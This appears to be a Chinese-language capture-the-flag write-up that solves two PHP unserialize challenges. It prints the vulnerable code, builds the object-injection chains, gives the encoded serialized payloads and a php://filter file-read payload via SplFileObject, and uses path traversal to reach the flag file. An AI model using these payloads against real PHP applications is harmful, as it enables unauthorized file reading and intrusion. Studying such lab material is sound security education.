1.[第五空间 2021]pklovecloud
进行代码审计
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
包含flag.php文件,有三个类:
pkshow,echo_name这个函数
acp,cinder这个保护属性,neutron,nova这两个公有属性;construct,tostring这两个魔术方法。
ace,filename,openstack,docker这三个公有属性;echo_name这个函数。
一个if语句。
第一步找危险函数,找到ace下的echo_name函数,里面有file_get_contents这个读取函数,当filename='flag.php'时就会输出flag,但它要通过前面的这个强比较,
第二步,想要触发echo_name函数就必须触发toString魔术方法。
第三步,tostring函数的触发条件是把对象当成字符串调用,找到construct函数下的cinder。只用把cinder变成对象acp,那么给cinder赋值的时候就是把对象当成字符串调用,就可以触发tostring函数。
第四步,想要触发construct函数就必须实例化一个对象,可以令cinder=new ace(),这里为什么不是保存原来的cinder=new pkshow()呢?那是因为在执行tostring魔术方法时会触发echo_name,我们要触发的echo_name函数是ace这个类下面的,并不是pkshow这个类下面的,而函数想要触发就必须在这个类下面,所以改成new ace()后不会触发pkshow()里面的echo_name函数。
总结:
ace->echo_name
acp->tostring
acp->construct
接着就可以写代码,构造pop链,因为我们是反着分析的,构造pop链就要反过,先把construct过了。
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$a=new acp();
echo urlencode(serialize($a));
?>
结果:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
get传参pks.
可以看到返回keystone lost~。返回代码看一下这个是怎么输出的。
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
可以看到是强比较错误然后,返回刚刚那个的,说明我们已经到了ace下面的echo_name函数。然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立,并且读取flag.php的内容;
$this->docker =null时unserialize($this->docker)为null,$openstack也为null
$this->openstack->neutron === $this->openstack->nova这个强比较就相当于两个null比较。所以就会执行file_get_contents函数,$this->filename=”flag.php”就可以读取flag,所以:
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="flag.php";
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=" ";
echo urlencode(serialize($a));
?>
得到
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
传参看看
执行了但什么都没有,看看源代码
修改一下代码
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="nssctfasdasdflag";
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=" ";
echo urlencode(serialize($a));
?>
结果:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
传参看看
但是不对,再改一下../nssctfasdasdflag,这个文件可能是下一级目录
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="../nssctfasdasdflag";
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=" ";
echo urlencode(serialize($a));
?>
得到
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
传参后得到flag
2.[GDOUCTF 2023]反方向的钟
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
代码分析
有三个类
teacher:name,rank两个公有属性,salary一个私有属性;construct一个魔术方法。
classroom:name,leader两个公有属性,construct魔术方法,hahaha函数
school:department,headmaster两个公有属性,construct,wakeup两个魔术方法,IPO函数
最后if语句,如果存在get传参d,就会对传参的d进行base64解码再进行反序列化
第一步找危险函数:找到IPO函数,执行该函数可以进行POST传参,是否可以利用伪协议来读取flag,POST传参:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
传参的a是默认读一行,后面的b是伪协议读取flag
headmaster == 'ong'这里要headmaster是ong
第二步,在wakeup函数下面可以执行IPO函数,所以只用触发wakeup函数
而wakeup函数是在反序列化前触发的,所以不用管,当你传参后就会触发该魔术方法
但是触发wakeup魔术方法后,它会触发hahaha函数,
该函数要返回true。!=是不等于符号,所以我们就让它们等于就可以返回true。
让$this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'
变成
$this->name == 'one class' or $this->leader->name == 'ing' or $this->leader->rank =='department'
所以就可以构造
<?php
class teacher{
public $name;
public $rank;
private $salary;
}
class classroom{
public $name;
public $leader;
}
class school{
public $department;
public $headmaster;
}
$a=new school();
$b=new classroom();
$c=new teacher();
$b->name="one class";
$b->leader=$c;
$c->name="ing";
$c->rank="department";
$a->department=$b;
$a->headmaster="ong";
echo base64_encode(serialize($a));
?>
得到
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
传参看看
输出了Pretty Good ! Ctfer!。说明pop链正确,接着就要POST传参读取flag
得到base64编码,解码得到flag
总结:做php反序列化的题要注意对其他函数的使用。
SplFileObject可以看下面
https://blog.csdn.net/weixin_39534780/article/details/115514259?ops_request_misc=&request_id=&biz_id=102&utm_term=SplFileObject&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-115514259.142^v100^pc_search_result_base9&spm=1018.2226.3001.4187